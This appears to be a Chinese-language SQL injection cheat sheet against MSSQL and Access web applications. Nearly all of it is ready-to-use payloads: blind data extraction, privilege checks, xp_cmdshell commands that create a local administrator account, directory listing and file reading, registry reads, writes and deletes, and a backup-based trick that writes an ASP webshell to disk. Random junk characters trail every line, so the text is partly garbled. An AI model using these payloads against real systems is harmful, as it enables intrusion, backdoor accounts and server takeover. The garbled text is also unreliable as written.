1.判断是否有注入;and 1=1 ;and 1=2 hC]c
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2.初步判断是否是mssql ;and user>0 T]EXm/
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3.注入参数是字符'and [查询条件] and ''=' SlZL%C;
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' l4F4o6:]n
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5.判断数据库系统 ~<v.WP<:
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;and (select count(*) from msysobjects)>0 access >o 3X)
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 2WE
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 &O0+\A9tP
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 &%qD Som3
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9.(1)猜字段的ascii值(access) TWx<)
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 308w0eP
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(2)猜字段的ascii值(mssql) fwsq:
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 jcq(=7j
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10.测试权限结构(mssql) fy_'K}i3k
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- M5ZWcD.1
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- {f^30Fw
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- n;Iey[7_E`
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 4`8.\
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- -S,dG|
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- [tD*\\IA
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;and 1=(select IS_MEMBER('db_owner'));-- @{CpC
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11.添加mssql和系统的帐户 ~!&[;EM<bm
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;exec master.dbo.sp_addlogin username;-- +'n1?^U
;exec master.dbo.sp_password null,username,password;-- +]
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;exec master.dbo.sp_addsrvrolemember sysadmin username;--
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;exec master.dbo.xp_cmdshell 'net user username password =oh6;Ojt
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- njq-iU
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- i@I %$!cB
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ffB]4
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12.(1)遍历目录 )?xt=9Lh
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;create table dirs(paths varchar(100), id int) CTP%
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;insert dirs exec master.dbo.xp_dirtree 'c:\' eS.]@E-T
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;and (select top 1 paths from dirs)>0 W
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Z0:BXtW
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(2)遍历目录 [T^6Kzz
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- <|_Ey)1
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;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Aa Ma9hvT!
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 $+);!?^|:
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 `^}9= Q'r
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 eo8 0L
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13.mssql中的存储过程 5jLDe~
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xp_regenumvalues 注册表根键, 子键 i*tj@5MY-
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 k8JPu"R
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xp_regread 根键,子键,键值名 H:_`]X"
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;exec xp_regread 4jW{IGW
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 k?#6j1pn
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xp_regwrite 根键,子键, 值名, 值类型, 值 x'qgpG}?]
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 fm*Hk57
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xp_regdeletevalue 根键,子键,值名 34=0.{qn
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Q'VS]n
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ?1uAY.~ZZB
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14.mssql的backup创建webshell L7- nPH
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use model -,dQ&Qf?
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create table cmd(str image); +*V;
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insert into cmd(str) values (''); )YFs
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backup database model to disk='c:\l.asp'; I,eyL$x
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15.mssql内置函数 w^gh&E
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;and (select @@version)>0 获得Windows的版本号 F
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 7,TWCVap
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;and (select user_name())>0 爆当前系统的连接用户 &}O!l'
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;and (select db_name())>0 得到当前连接的数据库 !U_L7
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16.简洁的webshell nY)Pxahm 7
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use model rLxX^[Fp3
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create table cmd(str image); ak`)>
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insert into cmd(str) values (''); Oq6n.:8g"
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backup database model to disk='g:\wwwtest\l.asp';